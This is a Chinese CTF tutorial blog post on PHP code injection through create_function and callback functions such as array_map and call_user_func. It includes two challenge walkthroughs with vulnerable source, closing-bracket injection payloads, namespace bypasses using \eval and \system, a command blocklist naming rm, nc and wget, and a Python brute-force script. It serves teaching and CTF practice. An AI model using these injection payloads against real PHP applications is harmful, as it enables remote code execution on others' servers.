CTF题型 匿名函数考法&例题总结

CTF题型 匿名函数考法&例题总结

一 .原理分析

匿名函数特点:无函数名,使用一次就被丢弃,一般可以动态执行php代码

二 .重点匿名函数利用

请熟记并理解为后面php代码审计打基础

1.create_function()

image-20240320104058936

创建一个匿名(lambda样式)函数

第一次创建了一个叫 lambda_1 的函数,此后调用依次递增lambda_2…

注意 实际为 %00lambda_1只不过%00不可见而已

create_function ( string $args , string $code ) : string

根据传递的参数创建一个匿名函数,并为其返回唯一的名称。如果没有严格对参数传递进行过滤,攻击者可以构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行

可以闭合代码,实现eval执行任意命令

如何实现create_function代码注入

闭合方式不唯一,按实际代码决定

create_function('$name','echo $name."alex"')

等同与创建了一个函数:

function fT($fname) {
  echo $fname."alex";
}

并返回这个函数名 lambda_1

极其类似sql注入 (使前面闭合,使后面注释)

例如

<?php
$id=$_GET['id'];
$str2='echo  $a'.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
?>

id值可控

原函数:
function fT($a){
  echo $a."test".$id;
}

代码注入后:
function fT($a){
  echo $a."test";}phpinfo();/*;
}

2.array_map()

array_map — 为数组的每个元素应用回调函数

image-20240320105455991

利用: 第一个参数为 回调函数,第二个参数为 参数数组

image-20240320105756416

3.call_user_func()

call_user_func — 把第一个参数作为回调函数调用

image-20240320110020370

同样的第一个参数是回调函数 不过第二个参数是 字符串 不是数组

image-20240320110214845

4.call_user_func_array()

和array_map一模一样 利用: 第一个参数为 回调函数,第二个参数为 参数数组

image-20240320110325072

5.array_filter()

array_filter — 使用回调函数过滤数组的元素

image-20240320110454117

和array_map()对调一下位置 第一个参数为 参数数组,第二个参数为 回调函数

image-20240320110621408

三.例题讲解

1.[Polar 靶场 某函数的复仇]

环境 :https://www.polarctf.com/#/page/challenges

<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
    $shaw = $_POST['shaw'];
    $root = $_GET['root'];
    if(preg_match('/^[a-z_]*$/isD',$shaw)){
        if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
            $shaw('',$root);
        }else{
            echo "Almost there^^";
        }
    }
}
?>

特征:$shaw('',$root);

方法名可控,第二个参数可控,那么我们考虑create_function();

这里保证$shaw=开头是[a-z_] 结尾是任意字符的字符

直接传 create_function即可

扩展(非本题)

这里提一嘴(经常考) 如果正则匹配 过滤 开头是[a-z_] 结尾是任意字符的字符 不可行 如何绕过?

if(preg_match('/^[a-z_]*$/isD',$shaw) 方法名绕过

通过 命名空间绕过 因为 \create_function()等价于create_function()

什么是命名空间(\)

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

#例
<?php namespace ccc;\eval($_REQUEST['a']);
<?php \system('cat /tmp/flag_XXXX');

接着闭合代码 底层实现{return $root}

我们用 ;}任意代码//闭合

注意这里过滤了 h phpinfo();是被过滤了的

image-20240320115209874

2.[2023 安洵杯 what’s my name]

题目环境:https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/

<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
    $sorter='strnatcasecmp';
    $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
        $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
        @$miao=create_function('$a, $b', $sort_function);
    }
    else{
        echo('Is That My Name?');
    }
}
else{
    echo("YOU Do Not Know What is My Name!");
}
?>

@$miao=create_function('$a, $b', $sort_function);匿名函数可以执行命令

闭合根据$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);'; 其中$d0g3可控

原本闭合payload:'"]);}payload//

但是要满足if(preg_match('/^(?:.{5})*include/',$d0g3))

前5个任意字符+include

所以闭合用"]);}include();//将 前面的 ’ 当成字符看了

 $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao)

m i a o 为返回的匿名函数名称,判断 miao为返回的匿名函数名称,判断 miao为返回的匿名函数名称,判断name=== m i a o 而且 s t r l e n ( miao而且strlen( miao而且strlen(d0g3==substr($miao))

探究一下返回的匿名函数名称

image-20240320131200836

注意还有两位不可见字符 可以用%00lambda_x绕过强相等image-20240320131302930

"]);}include(phpinfo());//

有26位字符

第26次 到lambda_626时执行命令

可以写个脚本

import requests
url='http://23.94.38.86:9999/?name=%00lambda_26'
params={
    'd0g3':"\"]);}include(phpinfo());//"
}
i=0
while True:
    i=i+1
    response=requests.get(url,params=params)
    print('+'+str(i))
    if 'php.net' in response.text:
        print(response.text)
        break

注意一点

#在Python的requests库中,当你发送一个请求并尝试传递一个包含%00的字符串时,默认情况下requests库会尝试对这个字符串进行URL编码。这是因为%00是一个URL编码的字符,对应于ASCII的NULL字符
#所以写死name的值

可以返回phpinfo的内容

image-20240320215250956

其他命令同理

  • 28
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值